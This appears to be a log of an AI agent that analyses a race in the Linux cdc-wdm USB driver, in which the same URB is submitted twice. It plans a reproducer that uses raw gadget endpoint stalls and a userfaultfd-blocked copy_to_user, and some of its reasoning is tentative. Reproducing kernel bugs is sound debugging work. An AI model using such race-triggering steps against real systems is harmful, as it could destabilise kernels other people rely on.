| 393/4 |
2026/09/11 23:33 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 31046
output: 29
thoughts: 120
Thoughts: **My Thought Process Regarding `wdm_int_callback` and `desc->validity`**
This is quite interesting. I've been looking at the `wdm_int_callback` function, and it seems to have a consistent behavior: it *always* resubmits the `urb`, which in this context is `desc->validity`, right at the end of its execution. I see the explicit call here: `rv = usb_submit_urb(urb, GFP_ATOMIC);`.
This observation leads me to a crucial conclusion: `desc->validity` must therefore be *always active*, or at least, it's always in a state of being submitted and waiting for completion, unless something prevents the submission (like an error) or the device itself is unplugged.
Now, this is where a bit of a puzzle arises for me. If `desc->validity` is, as I've deduced, always active in this manner, then why does the `service_outstanding_interrupt` function make a separate call to `usb_submit_urb(desc->validity, GFP_KERNEL)`? It seems redundant, or at least, I need to understand the underlying logic that dictates this second submission. Is there a different context or a specific state that `service_outstanding_interrupt` is addressing that isn't covered by the implicit resubmission within `wdm_int_callback`? I need to dig into the state management and the precise conditions under which `service_outstanding_interrupt` is invoked to reconcile these two actions.
|
| 394/4 |
2026/09/11 23:34 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:service_outstanding_interrupt]
Results: map[SourceCode: 485: /*
486: * Submit the read urb if resp_count is non-zero.
487: *
488: * Called with desc->iuspin locked
489: */
490: static int service_outstanding_interrupt(struct wdm_device *desc)
491: {
492: int rv = 0;
493:
494: /* submit read urb only if the device is waiting for it */
495: if (!desc->resp_count || !--desc->resp_count)
496: goto out;
497:
498: if (test_bit(WDM_DISCONNECTING, &desc->flags)) {
499: rv = -ENODEV;
500: goto out;
501: }
502: if (test_bit(WDM_RESETTING, &desc->flags)) {
503: rv = -EIO;
504: goto out;
505: }
506:
507: set_bit(WDM_RESPONDING, &desc->flags);
508: spin_unlock_irq(&desc->iuspin);
509: rv = usb_submit_urb(desc->response, GFP_KERNEL);
510: spin_lock_irq(&desc->iuspin);
511: if (rv) {
512: if (!test_bit(WDM_DISCONNECTING, &desc->flags))
513: dev_err(&desc->intf->dev,
514: "usb_submit_urb failed with result %d\n", rv);
515:
516: /* make sure the next notification trigger a submit */
517: clear_bit(WDM_RESPONDING, &desc->flags);
518: desc->resp_count = 0;
519: }
520: out:
521: return rv;
522: }
SourceFile:drivers/usb/class/cdc-wdm.c]
|
| 395/4 |
2026/09/11 23:34 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 31760
output: 30
thoughts: 303
Thoughts: **My Thought Process Regarding the URB Submission Issue**
Okay, so I've been digging into this URB submission problem, and a critical detail just hit me: `service_outstanding_interrupt` is submitting `desc->response`, not `desc->validity`, as I initially suspected or might have assumed. I'm seeing the submission of `desc->response` clearly in the code:
```c
rv = usb_submit_urb(desc->response, GFP_KERNEL);
```
This is particularly concerning because the warning message I'm getting is:
`URB ffff888112540000 submitted while active`
`WARNING: drivers/usb/core/urb.c:379 at usb_submit_urb+0x1689/0x19b0 drivers/usb/core/urb.c:379`
The fact that the URB identified (`ffff888112540000`, which corresponds to `desc->response` in this context) is already active is the root of the issue. The question then becomes: why would `desc->response` be active when `service_outstanding_interrupt` attempts to submit it?
My understanding is that `desc->response` is our control URB. It gets submitted within `wdm_int_callback` when a notification arrives. Let me trace that logic:
```c
if (!desc->resp_count++ && !responding
&& !test_bit(WDM_DISCONNECTING, &desc->flags)
&& !test_bit(WDM_SUSPENDING, &desc->flags)) {
rv = usb_submit_urb(desc->response, GFP_ATOMIC);
```
Here's the key: if `desc->resp_count` was initially 0, meaning the URB wasn't already in flight, it proceeds to submit `desc->response`. Now, the critical path is that when `desc->response` *completes*, it triggers `wdm_in_callback`. This callback is where the URB should be freed or marked as no longer active. The implication is that if `wdm_in_callback` isn't properly handling the completion and marking of `desc->response`, or if it's somehow being re-entered before the previous completion is fully processed, then subsequent calls to `service_outstanding_interrupt` will find it still active, leading to this exact warning. So, the focus needs to be on the URB lifecycle within `wdm_in_callback` and ensuring that `desc->response` is definitively handled upon its completion.
|
| 396/4 |
2026/09/11 23:34 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:wdm_in_callback]
Results: map[SourceCode: 167: static void wdm_in_callback(struct urb *urb)
168: {
169: unsigned long flags;
170: struct wdm_device *desc = urb->context;
171: int status = urb->status;
172: int length = urb->actual_length;
173:
174: spin_lock_irqsave(&desc->iuspin, flags);
175: clear_bit(WDM_RESPONDING, &desc->flags);
176:
177: if (status) {
178: switch (status) {
179: case -ENOENT:
180: dev_dbg(&desc->intf->dev,
181: "nonzero urb status received: -ENOENT\n");
182: goto skip_error;
183: case -ECONNRESET:
184: dev_dbg(&desc->intf->dev,
185: "nonzero urb status received: -ECONNRESET\n");
186: goto skip_error;
187: case -ESHUTDOWN:
188: dev_dbg(&desc->intf->dev,
189: "nonzero urb status received: -ESHUTDOWN\n");
190: goto skip_error;
191: case -EPIPE:
192: dev_err(&desc->intf->dev,
193: "nonzero urb status received: -EPIPE\n");
194: break;
195: default:
196: dev_err(&desc->intf->dev,
197: "Unexpected error %d\n", status);
198: break;
199: }
200: }
201:
202: if (test_bit(WDM_WWAN_IN_USE, &desc->flags)) {
203: wdm_wwan_rx(desc, length);
204: goto out;
205: }
206:
207: /*
208: * only set a new error if there is no previous error.
209: * Errors are only cleared during read/open
210: * Avoid propagating -EPIPE (stall) to userspace since it is
211: * better handled as an empty read
212: */
213: if (desc->rerr == 0 && status != -EPIPE)
214: desc->rerr = status;
215:
216: if (length == 0) {
217: dev_dbg(&desc->intf->dev, "received ZLP\n");
218: goto skip_zlp;
219: }
220:
221: if (length + desc->length > desc->wMaxCommand) {
222: /* The buffer would overflow */
223: set_bit(WDM_OVERFLOW, &desc->flags);
224: } else {
225: /* we may already be in overflow */
226: if (!test_bit(WDM_OVERFLOW, &desc->flags)) {
227: memmove(desc->ubuf + desc->length, desc->inbuf, length);
228: smp_wmb(); /* against wdm_read() */
229: WRITE_ONCE(desc->length, desc->length + length);
230: }
231: }
232: skip_error:
233:
234: if (desc->rerr) {
235: /*
236: * If there was a ZLP or an error, userspace may decide to not
237: * read any data after poll'ing.
238: * We should respond to further attempts from the device to send
239: * data, so that we can get unstuck.
240: */
241: skip_zlp:
242: schedule_work(&desc->service_outs_intr);
243: } else {
244: set_bit(WDM_READ, &desc->flags);
245: wake_up(&desc->wait);
246: }
247: out:
248: spin_unlock_irqrestore(&desc->iuspin, flags);
249: }
SourceFile:drivers/usb/class/cdc-wdm.c]
|
| 397/4 |
2026/09/11 23:34 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 33315
output: 28
thoughts: 544
Thoughts: **My Thought Process Unraveling a Potential Race Condition**
Okay, so I'm digging into this `wdm_in_callback` logic. My initial understanding is that it's responsible for clearing the `WDM_RESPONDING` flag. Furthermore, depending on the outcome – an error, a ZLP – it either schedules `desc->service_outs_intr` or, if there's actual data to be read, it sets the `WDM_READ` flag and wakes up the waiting process via `desc->wait`. This seems pretty standard for handling asynchronous completion callbacks in a USB driver.
However, my attention is immediately drawn to the `wdm_read` function itself, specifically this snippet:
```c
if (desc->rerr == 0 && test_bit(WDM_RESPONDING, &desc->flags)) {
clear_bit(WDM_RESPONDING, &desc->flags);
if (desc->resp_count)
desc->resp_count--;
if (desc->resp_count)
service_outstanding_interrupt(desc);
}
```
Now, this is where things get interesting. This code block in `wdm_read` checks if `WDM_RESPONDING` is set. If it is, it proceeds to clear it, decrement `resp_count`, and then, crucially, calls `service_outstanding_interrupt(desc)`.
But here's the crux of my concern: I know `WDM_RESPONDING` is set when `desc->response` (presumably a URB for a response) is submitted. And it's cleared in `wdm_in_callback` *only when* `desc->response` has actually completed.
So, what happens if `wdm_read` is invoked *while* `desc->response` is still active and `WDM_RESPONDING` is therefore set? In this scenario, `wdm_read` will clear `WDM_RESPONDING` and then call `service_outstanding_interrupt(desc)`. The problem is, `service_outstanding_interrupt(desc)` is likely to submit `desc->response` *again*. But `desc->response` is *still active* because `wdm_in_callback` hasn't run yet to signal its completion. This means we're attempting to resubmit an already active URB, and `usb_submit_urb(desc->response, GFP_KERNEL)` is going to trigger a warning due to this double submission.
The immediate question then becomes: how can `wdm_read` possibly be called when `desc->response` is still active? My understanding is that `wdm_read` is initiated from userspace. However, the `wdm_read` function itself has a waiting mechanism:
```c
rv = wait_event_interruptible(desc->wait,
test_bit(WDM_READ, &desc->flags) ||
test_bit(WDM_DISCONNECTING, &desc->flags));
```
This wait condition means `wdm_read` should only proceed when `WDM_READ` is set or when the device is disconnecting. This leads me to consider two possibilities:
1. Could `WDM_READ` already be set from a *previous* read operation, and the kernel path somehow enters `wdm_read` again before the previous `WDM_READ` is cleared?
2. Or is there a concurrency issue where `wdm_read` can be invoked concurrently from multiple user contexts, leading to this race?
I need to scrutinize the `wdm_read` function more closely, specifically how `WDM_READ` is set and cleared, and how the `wait_event_interruptible` interaction plays out in different scenarios. This seems to be the critical junction where the potential race condition is manifesting.
|
| 398/4 |
2026/09/11 23:34 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:wdm_read]
Results: map[SourceCode: 524: static ssize_t wdm_read
525: (struct file *file, char __user *buffer, size_t count, loff_t *ppos)
526: {
527: int rv, cntr;
528: int i = 0;
529: struct wdm_device *desc = file->private_data;
530:
531:
532: rv = mutex_lock_interruptible(&desc->rlock); /*concurrent reads */
533: if (rv < 0)
534: return -ERESTARTSYS;
535:
536: cntr = READ_ONCE(desc->length);
537: smp_rmb(); /* against wdm_in_callback() */
538: if (cntr == 0) {
539: desc->read = 0;
540: retry:
541: if (test_bit(WDM_DISCONNECTING, &desc->flags)) {
542: rv = -ENODEV;
543: goto err;
544: }
545: if (test_bit(WDM_OVERFLOW, &desc->flags)) {
546: clear_bit(WDM_OVERFLOW, &desc->flags);
547: rv = -ENOBUFS;
548: goto err;
549: }
550: i++;
551: if (file->f_flags & O_NONBLOCK) {
552: if (!test_bit(WDM_READ, &desc->flags)) {
553: rv = -EAGAIN;
554: goto err;
555: }
556: rv = 0;
557: } else {
558: rv = wait_event_interruptible(desc->wait,
559: test_bit(WDM_READ, &desc->flags));
560: }
561:
562: /* may have happened while we slept */
563: if (test_bit(WDM_DISCONNECTING, &desc->flags)) {
564: rv = -ENODEV;
565: goto err;
566: }
567: if (test_bit(WDM_RESETTING, &desc->flags)) {
568: rv = -EIO;
569: goto err;
570: }
571: usb_mark_last_busy(interface_to_usbdev(desc->intf));
572: if (rv < 0) {
573: rv = -ERESTARTSYS;
574: goto err;
575: }
576:
577: spin_lock_irq(&desc->iuspin);
578:
579: if (desc->rerr) { /* read completed, error happened */
580: rv = usb_translate_errors(desc->rerr);
581: desc->rerr = 0;
582: spin_unlock_irq(&desc->iuspin);
583: goto err;
584: }
585: /*
586: * recheck whether we've lost the race
587: * against the completion handler
588: */
589: if (!test_bit(WDM_READ, &desc->flags)) { /* lost race */
590: spin_unlock_irq(&desc->iuspin);
591: goto retry;
592: }
593:
594: cntr = desc->length;
595: spin_unlock_irq(&desc->iuspin);
596: }
597:
598: if (cntr > count)
599: cntr = count;
600: rv = copy_to_user(buffer, desc->ubuf, cntr);
601: if (rv > 0) {
602: rv = -EFAULT;
603: goto err;
604: }
605:
606: spin_lock_irq(&desc->iuspin);
607:
608: for (i = 0; i < desc->length - cntr; i++)
609: desc->ubuf[i] = desc->ubuf[i + cntr];
610:
611: desc->length -= cntr;
612: /* in case we had outstanding data */
613: if (!desc->length) {
614: clear_bit(WDM_READ, &desc->flags);
615: service_outstanding_interrupt(desc);
616: }
617: spin_unlock_irq(&desc->iuspin);
618: rv = cntr;
619:
620: err:
621: mutex_unlock(&desc->rlock);
622: return rv;
623: }
SourceFile:drivers/usb/class/cdc-wdm.c]
|
| 399/4 |
2026/09/11 23:34 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 35311
output: 29
thoughts: 810
Thoughts: **My Thought Process on the `cdc-wdm` Driver Bug**
Okay, I've been digging into this bug report for the `cdc-wdm` driver, and it's starting to click. The core of the issue seems to revolve around how asynchronous operations, specifically `desc->response` submissions, are managed within `wdm_read` and the interrupt callback (`wdm_int_callback`).
My initial focus was on the `wdm_read` function, specifically this snippet:
```c
if (!desc->length) {
clear_bit(WDM_READ, &desc->flags);
service_outstanding_interrupt(desc);
}
```
The bug description points to `service_outstanding_interrupt(desc)` being called from `wdm_read` at line 615. The critical observation here is that `service_outstanding_interrupt` itself submits `desc->response`. The warning we're seeing implies that `desc->response` is *already active* when `service_outstanding_interrupt` tries to submit it again. This is the primary puzzle: how can `desc->response` be active when `wdm_read` is calling `service_outstanding_interrupt`?
I then traced the lifecycle of `desc->response`. It's submitted by `wdm_int_callback` when a USB notification arrives. The logic in `wdm_int_callback` is designed to prevent double submissions: if `desc->resp_count` is greater than 0, it doesn't resubmit `desc->response`; it simply increments `desc->resp_count`. This is the "count" mechanism to track pending notifications.
The normal flow, as I understand it, is:
1. `wdm_int_callback` receives a notification. If `desc->resp_count` is 0 and `!responding`, it submits `desc->response` and sets `WDM_RESPONDING`. Otherwise, it just increments `desc->resp_count`.
2. `desc->response` completes, triggering `wdm_in_callback`.
3. `wdm_in_callback` clears `WDM_RESPONDING`, copies data into `desc->ubuf`, sets `WDM_READ`, and importantly, wakes up `wdm_read`.
4. `wdm_read` wakes up, copies data to the user space, and then, if `desc->length` has been reduced to zero, it calls `service_outstanding_interrupt(desc)`.
5. `service_outstanding_interrupt` checks `desc->resp_count`. If it's greater than 0, it decrements it, sets `WDM_RESPONDING`, and submits `desc->response`.
This sequence, on its face, seems safe. `desc->response` has just completed, and `service_outstanding_interrupt` is acting on a potentially new notification, submitting a *new* `desc->response` if needed.
The real complication arises when `wdm_read` blocks. The prompt specifically asks me to consider what happens if `wdm_read` is blocked in `copy_to_user`. This is a crucial scenario. If `copy_to_user` blocks (perhaps due to `userfaultfd`), then `wdm_read` *hasn't yet reached* the `service_outstanding_interrupt` call.
At this point, `desc->length` is still positive, and crucially, `desc->response` is *not* active. So, if another notification arrives while `wdm_read` is blocked in `copy_to_user`:
1. `wdm_int_callback` is invoked again.
2. Since `wdm_read` hasn't decremented `desc->resp_count` yet (because it's blocked), `desc->resp_count` will be greater than 0.
3. `wdm_int_callback` will simply increment `desc->resp_count` and *will not* submit `desc->response`.
4. Eventually, `copy_to_user` finishes.
5. `wdm_read` proceeds to call `service_outstanding_interrupt(desc)`.
6. `service_outstanding_interrupt` will then submit `desc->response`.
This still seems safe. The `desc->response` that is submitted here is for the *new* notification, and the previous `desc->response` has already completed.
However, the bug description also mentions `wdm_rxwork`. This is scheduled when `desc->response` *fails* to submit initially in `wdm_int_callback` (e.g., due to memory allocation failure with `-ENOMEM`), or if `wdm_in_callback` encounters an error or a Zero-Length Packet (ZLP). This suggests there are error paths and edge cases where the normal submission/completion cycle breaks down, potentially leading to a state where `service_outstanding_interrupt` is called with an already-submitted `desc->response`. I need to carefully examine how `wdm_rxwork` interacts with the response submission and how it might affect the state of `desc->response` and `desc->resp_count` in these failure scenarios. This is where the double-submission warning is likely originating.
|
| 400/4 |
2026/09/11 23:35 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:wdm_rxwork]
Results: map[SourceCode: 982: /* --- error handling --- */
983: static void wdm_rxwork(struct work_struct *work)
984: {
985: struct wdm_device *desc = container_of(work, struct wdm_device, rxwork);
986: unsigned long flags;
987: int rv = 0;
988: int responding;
989:
990: spin_lock_irqsave(&desc->iuspin, flags);
991: if (test_bit(WDM_DISCONNECTING, &desc->flags)) {
992: spin_unlock_irqrestore(&desc->iuspin, flags);
993: } else {
994: responding = test_and_set_bit(WDM_RESPONDING, &desc->flags);
995: spin_unlock_irqrestore(&desc->iuspin, flags);
996: if (!responding)
997: rv = usb_submit_urb(desc->response, GFP_KERNEL);
998: if (rv < 0 && rv != -EPERM) {
999: spin_lock_irqsave(&desc->iuspin, flags);
1000: clear_bit(WDM_RESPONDING, &desc->flags);
1001: if (!test_bit(WDM_DISCONNECTING, &desc->flags))
1002: schedule_work(&desc->rxwork);
1003: spin_unlock_irqrestore(&desc->iuspin, flags);
1004: }
1005: }
1006: }
SourceFile:drivers/usb/class/cdc-wdm.c]
|
| 401/4 |
2026/09/11 23:35 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 36596
output: 29
thoughts: 588
Thoughts: **Understanding the Race Condition in `desc->response` Submission**
My initial thought process was focused on a potential race condition concerning the submission of `desc->response`. I realized that `wdm_rxwork` sets the `WDM_RESPONDING` flag, and importantly, it does *not* check the `desc->resp_count` before submitting `desc->response`. This means that if `wdm_rxwork` is executed, it will unconditionally attempt to submit `desc->response`, marking it as active.
The problem arises because `service_outstanding_interrupt` also submits `desc->response`. This function *only* checks `desc->resp_count`. The critical flaw is that `service_outstanding_interrupt` unconditionally sets the `WDM_RESPONDING` bit. If `wdm_rxwork` has already submitted `desc->response` and set `WDM_RESPONDING`, and then `wdm_read` finishes its `copy_to_user` operation and subsequently calls `service_outstanding_interrupt`, `service_outstanding_interrupt` will attempt to submit `desc->response` *again*. This double submission, while `WDM_RESPONDING` is already set, is what triggers the warning I'm observing.
To pinpoint how this race condition can be triggered, I started to map out a sequence of events:
1. **`wdm_int_callback` is invoked:** This leads to `desc->resp_count` being incremented to 1, and `desc->response` is submitted.
2. **Completion of `desc->response`:** Upon completion, `wdm_in_callback` should clear `WDM_RESPONDING` and set `WDM_READ`. It then wakes up `wdm_read`.
3. **`wdm_read` execution:** `wdm_read` wakes up, recognizes `WDM_READ`, and proceeds to call `copy_to_user`.
4. **Blocking `copy_to_user`:** The key to exposing the race is to have `copy_to_user` block. I considered mechanisms like `userfaultfd` for this purpose.
5. **Triggering `wdm_rxwork` during the block:** While `wdm_read` is blocked, I need to find a way to schedule `wdm_rxwork`. My initial thought was that `wdm_rxwork` is scheduled in `wdm_int_callback` if `usb_submit_urb(desc->response)` returns `-ENOMEM`. However, I then reviewed the code and realized that `wdm_in_callback` actually schedules `desc->service_outs_intr` (which is `service_interrupt_work`), not `wdm_rxwork`, after a skip_zlp condition. This is a crucial correction in my understanding of how `wdm_rxwork` is *actually* scheduled, which might be more indirect than initially assumed. My investigation needs to focus on the precise conditions that lead to `wdm_rxwork` being scheduled in this scenario.
|
| 402/4 |
2026/09/11 23:35 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:service_interrupt_work]
Results: map[SourceCode:1008: static void service_interrupt_work(struct work_struct *work)
1009: {
1010: struct wdm_device *desc;
1011:
1012: desc = container_of(work, struct wdm_device, service_outs_intr);
1013:
1014: spin_lock_irq(&desc->iuspin);
1015: service_outstanding_interrupt(desc);
1016: if (!desc->resp_count && (desc->length || desc->rerr)) {
1017: set_bit(WDM_READ, &desc->flags);
1018: wake_up(&desc->wait);
1019: }
1020: spin_unlock_irq(&desc->iuspin);
1021: }
SourceFile:drivers/usb/class/cdc-wdm.c]
|
| 403/4 |
2026/09/11 23:35 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 37445
output: 37
thoughts: 5390
Thoughts: **The Core of the Race: URB Submission Chaos**
My journey began with a deep dive into the intricate dance between interrupt handling and work queue scheduling within the USB driver. I noticed a critical interaction: `service_interrupt_work` was being invoked by `service_outstanding_interrupt`, but the key was understanding *how* `service_outstanding_interrupt` itself got scheduled. I realized that `wdm_in_callback` was the culprit, queuing `service_interrupt_work` upon encountering specific error conditions or Zero Length Packets (ZLPs).
This led me to question the broader scheduling mechanisms for the receive work queue, specifically `wdm_rxwork`. My investigation into `wdm_int_callback` revealed a crucial pathway: when the interrupt endpoint experiences a STALL, which translates to an `-EPIPE` error, `wdm_int_callback` schedules `wdm_rxwork`. This was a pivotal discovery.
Now, the pieces started to fall into place. If `wdm_rxwork` is scheduled, it will, in turn, attempt to submit `desc->response`. I then meticulously traced a specific scenario:
1. **First Notification:** The initial notification is sent, `desc->resp_count` becomes 1, and `desc->response` is successfully submitted.
2. **Second Notification:** A second notification arrives. `desc->resp_count` increments to 2. However, `desc->response` is *not* submitted this time because the `WDM_RESPONDING` flag is already set, indicating an ongoing operation.
3. **Interrupt URB Completion:** The `desc->response` URB completes with data. This triggers `wdm_in_callback`, which clears the `WDM_RESPONDING` flag, sets `WDM_READ`, and crucially, wakes up `wdm_read`.
4. **User-space Block:** `wdm_read` is now active. It calls `copy_to_user`, which blocks, waiting for data to be available.
5. **Endpoint Stall:** At this precise moment, I simulate a STALL on the interrupt endpoint.
6. **Interrupt Callback Triggered:** This STALL causes `wdm_int_callback` to be invoked with an `-EPIPE` error. As identified earlier, this callback schedules `wdm_rxwork`.
7. **`wdm_rxwork` Submits URB:** The `wdm_rxwork` then executes. It sets the `WDM_RESPONDING` flag again and, critically, submits `desc->response` *once more*.
8. **User-space Resolution:** I then resolve the userfaultfd, allowing `wdm_read` to finally finish its `copy_to_user` operation.
9. **`wdm_read` Finishes and Calls `service_outstanding_interrupt`:** Upon completion of `copy_to_user`, `wdm_read` observes that `desc->length` is 0. It clears the `WDM_READ` flag and calls `service_outstanding_interrupt(desc)`.
10. **The Double Submission:** Here's the critical race. `service_outstanding_interrupt` sees that `desc->resp_count` is still 2 (meaning the second notification is waiting). It decrements `desc->resp_count` to 1, sets `WDM_RESPONDING`, and attempts to submit `desc->response` *yet again*!
11. **The Warning:** This results in the dreaded "WARNING: URB submitted while active!" message, confirming the race condition.
My previous attempt at reproducing this very sequence had failed due to a simple struct size mismatch when using `USB_RAW_IOCTL_EVENT_FETCH`. The underlying logic and the sequence of events I had crafted were correct.
With this understanding solidified, I focused on correcting the struct sizes in the reproducer code to ensure the `USB_RAW_IOCTL_EVENT_FETCH` call would succeed. This brings me to the final refined reproducer, where the exact sequence leading to the double URB submission has been meticulously recreated.
My final check was on the `USB_RAW_IOCTL_EP_SET_HALT` definition, specifically its argument type. Consulting the kernel headers confirmed that it indeed expects a `__u32` for the endpoint number, which is consistent with how I'm using it in the reproducer.
|
| 404/4 |
2026/09/11 23:36 |
tool |
codesearch-definition-source |
0m
Error:
Args: map[ContextFile: Name:USB_RAW_IOCTL_EP_SET_HALT]
Results: map[SourceCode: SourceFile:]
|
| 405/4 |
2026/09/11 23:36 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 42877
output: 48
thoughts: 38
Thoughts: **My Thought Process Regarding `USB_RAW_IOCTL_EP_SET_HALT`**
Right, so the first thing that comes to my mind when considering how to manage endpoint behavior in a USB raw gadget context is the need to specifically control the halt state of an endpoint. This isn't a general concept; it's a very concrete, low-level operation that needs to be signaled to the USB hardware. Given my expertise, I know that such operations are typically defined using IOCTLs (Input/Output Control) in the Linux kernel, and that these definitions are usually found within header files.
My immediate next step, therefore, is to pinpoint the exact location where this specific IOCTL is declared. My instinct strongly suggests that it will be within a header file related to the USB raw gadget API. The naming convention for these files is usually quite descriptive. So, I'd logically search within `include/uapi/linux/usb/raw_gadget.h`. This path makes sense because:
* `include/`: This is the standard directory for header files in the Linux kernel source tree.
* `uapi/`: This subdirectory specifically houses "userspace API" headers, meaning those intended for applications running outside the kernel to interact with kernel functionality. This is precisely where an IOCTL definition for a userspace-facing gadget driver would reside.
* `linux/usb/`: This nested path clearly indicates it's related to the USB subsystem within the kernel.
* `raw_gadget.h`: The filename itself is highly indicative. "raw\_gadget" directly points to the USB raw gadget interface, and ".h" signifies it's a header file.
Therefore, my thought process leads me directly to searching for `USB_RAW_IOCTL_EP_SET_HALT` within `include/uapi/linux/usb/raw_gadget.h` as the most efficient and direct way to find the declaration and understand its parameters and intended usage for implementing endpoint halt control.
|
| 406/4 |
2026/09/11 23:37 |
tool |
grepper |
0m
Args: map[Expression:USB_RAW_IOCTL_EP_SET_HALT PathPrefix:include/uapi/linux/usb/raw_gadget.h]
Results: map[Output:include/uapi/linux/usb/raw_gadget.h=160=struct usb_raw_eps_info {
--
include/uapi/linux/usb/raw_gadget.h-254- */
include/uapi/linux/usb/raw_gadget.h:255:#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
include/uapi/linux/usb/raw_gadget.h-256-#define USB_RAW_IOCTL_EP_CLEAR_HALT _IOW('U', 14, __u32)
]
|
| 407/4 |
2026/09/11 23:37 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 43115
output: 37
thoughts: 127
Thoughts: **My Thought Process Regarding USB Raw IOCTL Endpoint Halt/Unhalt**
Okay, I've been looking at this `ioctl` call, and it's becoming clear that my initial approach to `ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in)` is fundamentally flawed. My immediate realization is that this particular `ioctl` operation, `USB_RAW_IOCTL_EP_SET_HALT`, requires a `__u32` as its argument. The problem is, I'm currently passing `ep_in`, which is an `int`, directly. The `ioctl` function, as I understand it, expects a *pointer* to the data it's operating on, not the data itself, especially when dealing with types like `__u32`.
This is further reinforced by examining the `ioctl` macro definition: `_IOW('U', 13, __u32)`. The `__u32` here clearly indicates that the third parameter, which dictates the size and type of the data argument, is a `__u32`. This confirms that the `ioctl` expects a pointer to a `__u32` value.
To solidify this understanding and ensure I'm on the right track, I'm going to cross-reference this by looking at the implementation of a similar function, `raw_ioctl_ep_set_clear_halt_wedge`, within the `raw_gadget.c` file. This will allow me to observe how endpoint halt/unhalt operations are handled in practice and confirm the expected argument type and structure. My goal is to correct the `ioctl` call to pass the address of `ep_in` (or a correctly typed `__u32` variable) to satisfy the `ioctl`'s requirements.
|
| 408/4 |
2026/09/11 23:37 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:raw_ioctl_ep_set_clear_halt_wedge]
Results: map[SourceCode: 974: static int raw_ioctl_ep_set_clear_halt_wedge(struct raw_dev *dev,
975: unsigned long value, bool set, bool halt)
976: {
977: int ret = 0, i = value;
978: unsigned long flags;
979:
980: spin_lock_irqsave(&dev->lock, flags);
981: if (dev->state != STATE_DEV_RUNNING) {
982: dev_dbg(dev->dev, "fail, device is not running\n");
983: ret = -EINVAL;
984: goto out_unlock;
985: }
986: if (!dev->gadget) {
987: dev_dbg(dev->dev, "fail, gadget is not bound\n");
988: ret = -EBUSY;
989: goto out_unlock;
990: }
991: if (i < 0 || i >= dev->eps_num) {
992: dev_dbg(dev->dev, "fail, invalid endpoint\n");
993: ret = -EBUSY;
994: goto out_unlock;
995: }
996: if (dev->eps[i].state == STATE_EP_DISABLED) {
997: dev_dbg(&dev->gadget->dev, "fail, endpoint is not enabled\n");
998: ret = -EINVAL;
999: goto out_unlock;
1000: }
1001: if (dev->eps[i].disabling) {
1002: dev_dbg(&dev->gadget->dev,
1003: "fail, disable is in progress\n");
1004: ret = -EINVAL;
1005: goto out_unlock;
1006: }
1007: if (dev->eps[i].urb_queued) {
1008: dev_dbg(&dev->gadget->dev,
1009: "fail, waiting for urb completion\n");
1010: ret = -EINVAL;
1011: goto out_unlock;
1012: }
1013: if (usb_endpoint_xfer_isoc(dev->eps[i].ep->desc)) {
1014: dev_dbg(&dev->gadget->dev,
1015: "fail, can't halt/wedge ISO endpoint\n");
1016: ret = -EINVAL;
1017: goto out_unlock;
1018: }
1019:
1020: if (set && halt) {
1021: ret = usb_ep_set_halt(dev->eps[i].ep);
1022: if (ret < 0)
1023: dev_err(&dev->gadget->dev,
1024: "fail, usb_ep_set_halt returned %d\n", ret);
1025: } else if (!set && halt) {
1026: ret = usb_ep_clear_halt(dev->eps[i].ep);
1027: if (ret < 0)
1028: dev_err(&dev->gadget->dev,
1029: "fail, usb_ep_clear_halt returned %d\n", ret);
1030: } else if (set && !halt) {
1031: ret = usb_ep_set_wedge(dev->eps[i].ep);
1032: if (ret < 0)
1033: dev_err(&dev->gadget->dev,
1034: "fail, usb_ep_set_wedge returned %d\n", ret);
1035: }
1036:
1037: out_unlock:
1038: spin_unlock_irqrestore(&dev->lock, flags);
1039: return ret;
1040: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 409/4 |
2026/09/11 23:37 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 44368
output: 31
thoughts: 1120
Thoughts: **My Thought Process Unpacking the USB Raw IOCTL Behavior**
Okay, let me walk through my reasoning as I dissected this `ioctl` behavior. Initially, when I saw `int ret = 0, i = value;`, I thought, "Great, the value is being used directly as an integer!" Then, my mind immediately jumped to the `_IOW('U', 13, __u32)` definition for `USB_RAW_IOCTL_EP_SET_HALT`. My expertise tells me `_IOW` implies a size of 4 bytes and, crucially, that the kernel expects a *pointer* to user-space data to copy *from*. This created a dissonance.
My confusion intensified when I traced the `ioctl` call within `raw_ioctl`. I saw that for `USB_RAW_IOCTL_EP_SET_HALT`, the code directly passes `value` to `raw_ioctl_ep_set_clear_halt_wedge`. Given my prior `ioctl` experience, I was expecting `value` to be a pointer to a structure, and `raw_ioctl` to use `copy_from_user` to retrieve that data.
However, when I looked at the signature of `raw_ioctl` itself: `static long raw_ioctl(struct file *fd, unsigned int cmd, unsigned long value)`, I noticed a critical detail. It doesn't use `copy_from_user` for *all* its operations. Specifically, for the `USB_RAW_IOCTL_EP_SET_HALT` case, it passes `value` directly. And then, the target function `raw_ioctl_ep_set_clear_halt_wedge` *treats `value` as an integer*. This was the key insight: despite the `_IOW` macro suggesting a pointer and data copy, the driver, in this specific instance, is treating the `value` argument as a raw, integer value. This confirmed that `ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in)` was indeed the correct way to call it, even though it felt counterintuitive based on the `_IOW` definition alone.
